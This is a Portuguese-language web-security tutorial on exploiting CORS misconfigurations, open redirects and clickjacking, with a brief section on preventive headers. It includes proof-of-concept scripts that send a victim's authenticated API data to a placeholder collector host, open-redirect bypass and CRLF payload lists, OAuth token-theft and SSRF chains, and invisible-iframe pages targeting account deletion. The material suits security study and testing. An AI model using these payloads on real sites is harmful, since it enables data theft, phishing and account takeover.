Kaique Mitsuo Silva Yamamoto
Seguranca informacaoWeb vulnerabilities

CORS, Open Redirect e Clickjacking

CORS misconfiguration exploitation, open redirect para phishing e SSRF, clickjacking com UI redress — vulnerabilidades de configuração e headers HTTP.

CORS, Open Redirect e Clickjacking são vulnerabilidades frequentemente subestimadas — mas quando bem exploradas, têm impacto real (account takeover, phishing, roubo de dados).


CORS (Cross-Origin Resource Sharing)

CORS controla quais domínios podem ler responses de uma API. Configuração errada = vazamento de dados.

Headers de CORS

Access-Control-Allow-Origin: https://trusted.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Expose-Headers: X-Custom-Header
Access-Control-Max-Age: 3600

Vulnerabilidades CORS

1. Wildcard origin

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: false

# Qualquer site pode ler, mas sem cookies
# Impacto: baixo (dados públicos apenas)

2. Origin reflection (CRITICAL)

# Servidor reflete qualquer Origin
Request:
  Origin: https://attacker.com

Response:
  Access-Control-Allow-Origin: https://attacker.com
  Access-Control-Allow-Credentials: true

# Qualquer site pode ler dados autenticados do usuário

3. Subdomain trust (HIGH)

# Servidor confia em qualquer subdomínio
Access-Control-Allow-Origin: https://*.target.com
Access-Control-Allow-Credentials: true

# Se XSS em sub.target.com → ler dados de target.com
# Subdomain takeover → ler dados

4. Null origin

# Servidor aceita Origin: null
Request:
  Origin: null

Response:
  Access-Control-Allow-Origin: null
  Access-Control-Allow-Credentials: true

# Exploração via iframe sandbox:
<iframe sandbox="allow-scripts" src="data:text/html,<script>
fetch('https://target.com/api/user', {credentials: 'include'})
  .then(r => r.json())
  .then(d => fetch('https://COLLABORATOR/?data='+JSON.stringify(d)));
</script>"></iframe>

5. Regex bypass

# Servidor valida origin com regex fraca
# Aceita: https://target.com.*
# Bypass: https://target.com.attacker.com

# Aceita: https://target.com
# Bypass: https://target.com.attacker.com (contém target.com)

# Aceita: *target.com
# Bypass: https://attackertarget.com

CORS exploitation PoC

<!-- Se servidor reflete origin + credentials -->
<html>
<body>
<script>
fetch('https://target.com/api/user/profile', {
  credentials: 'include'
})
.then(r => r.json())
.then(data => {
  // Exfiltrar dados
  new Image().src = 'https://COLLABORATOR/?data=' + btoa(JSON.stringify(data));
});
</script>
</body>
</html>

CORS Scanner (Burp)

1. Instalar "CORSy" ou "CORScanner"
2. Scan em todos os endpoints
3. Verificar responses com ACAO + ACAC
4. Testar manualmente os candidatos
# CORScanner
python cors_scan.py -u https://target.com/api/user -d

# Corsy
python corsy.py -u https://target.com

# Manual testing
curl -H "Origin: https://evil.com" -I https://target.com/api/user
# Verificar se ACAO reflete evil.com

Open Redirect

Open redirect redireciona o usuário para URL controlada pelo atacante. Parece inofensivo — mas é chain crítico.

Exploração direta

# Parâmetros comuns de redirecionamento
/redirect?url=https://attacker.com
/login?next=https://attacker.com
/logout?return=https://attacker.com
/auth/callback?redirect_uri=https://attacker.com
/sso?relay=https://attacker.com

# Phishing via open redirect
# Email com link para target.com que redireciona para phishing
https://target.com/redirect?url=https://attacker.com/phishing-page

Bypass de validação

# Whitelist de domínio
/redirect?url=https://target.com.attacker.com
/redirect?url=https://[email protected]
/redirect?url=https://attacker.com#target.com
/redirect?url=https://target.com.evil.com
/redirect?url=https://evil.com%2F%23target.com

# Path traversal
/redirect?url=https://target.com/../../../attacker.com
/redirect?url=https://attacker.com/../../target.com

# Protocol-relative URLs
/redirect?url=//attacker.com
/redirect?url=////attacker.com

# Backslash
/redirect?url=https://attacker.com\@target.com

# URL encoding
/redirect?url=https://%61ttacker.com
/redirect?url=https://attacker%E3%80%82com  (unicode dot)

# Double encoding
/redirect?url=https%3A%2F%2Fattacker.com

# JavaScript protocol
/redirect?url=javascript:alert(1)
/redirect?url=data:text/html,<script>alert(1)</script>

# CRLF injection
/redirect?url=https://attacker.com%0d%0aSet-Cookie:session=hijacked

Chains com Open Redirect

# 1. Open Redirect → OAuth token theft
# Se redirect_uri não é validado corretamente:
https://target.com/oauth/authorize?redirect_uri=https://attacker.com
→ Token OAuth é enviado para attacker.com

# 2. Open Redirect → SSRF
# Se servidor fetcha a URL de redirecionamento:
https://target.com/fetch?url=https://attacker.com/redirect-to-internal
# attacker.com redireciona para http://169.254.169.254/

# 3. Open Redirect → XSS
# Se redirecionamento injeta URL no JavaScript:
https://target.com/redirect?url=javascript:alert(1)

# 4. Open Redirect → Header Injection
# CRLF no redirect:
https://target.com/redirect?url=https://attacker.com%0d%0aX-Injected:%20true

Clickjacking (UI Redress)

Clickjacking engana o usuário a clicar em algo invisível — fazendo ações sem seu consentimento.

Técnica básica

<!-- Página atacante com iframe invisível -->
<style>
  iframe {
    opacity: 0.0001;
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
  }
  .fake-button {
    position: absolute;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
  }
</style>

<div class="fake-button">
  <button>Clique aqui para ganhar prêmio!</button>
</div>

<iframe src="https://target.com/account/delete"></iframe>

Pixel-perfect clickjacking

<!-- Alinhar pixel exato do botão alvo -->
<style>
  body { margin: 0; padding: 0; }
  iframe {
    position: absolute;
    top: -123px;    /* Ajustar para alinhar botão */
    left: -456px;
    width: 1920px;
    height: 1080px;
    opacity: 0.0001;
  }
</style>

<iframe src="https://target.com/settings/delete-account"></iframe>

Bypass de proteções X-Frame-Options

# Se X-Frame-Options está em subdomínio mas não no principal:
iframe src="https://api.target.com/widget"

# Se CSP frame-ancestors permite algum domínio:
# Se target.com usa CDN que não tem XFO → iframe do CDN

# Double framing:
# target.com → frame-ancestors: 'self'
# Se tem subdomínio confiável → frame em sub → frame em attacker

Prevenção e testes

# Headers que PREVINEM clickjacking:
X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'none'
Content-Security-Policy: frame-ancestors 'self'

# Headers que NÃO previnem (false sense of security):
X-Frame-Options: ALLOW-FROM https://attacker.com  (deprecated)

# Teste rápido:
curl -I https://target.com | grep -i "x-frame-options\|frame-ancestors"

Clickjacking para account takeover

Cenário real:
1. Usuário logado em target.com
2. Página maliciosa mostra botão "Ganhe $1000!"
3. Iframe invisível com:
   - Troca de email para [email protected]
   - Habilitação de 2FA (gera código no attacker)
   - Adição de método de pagamento
   - Deleção de conta
4. Usuário clica no botão falso → ação real executada

Referências

On this page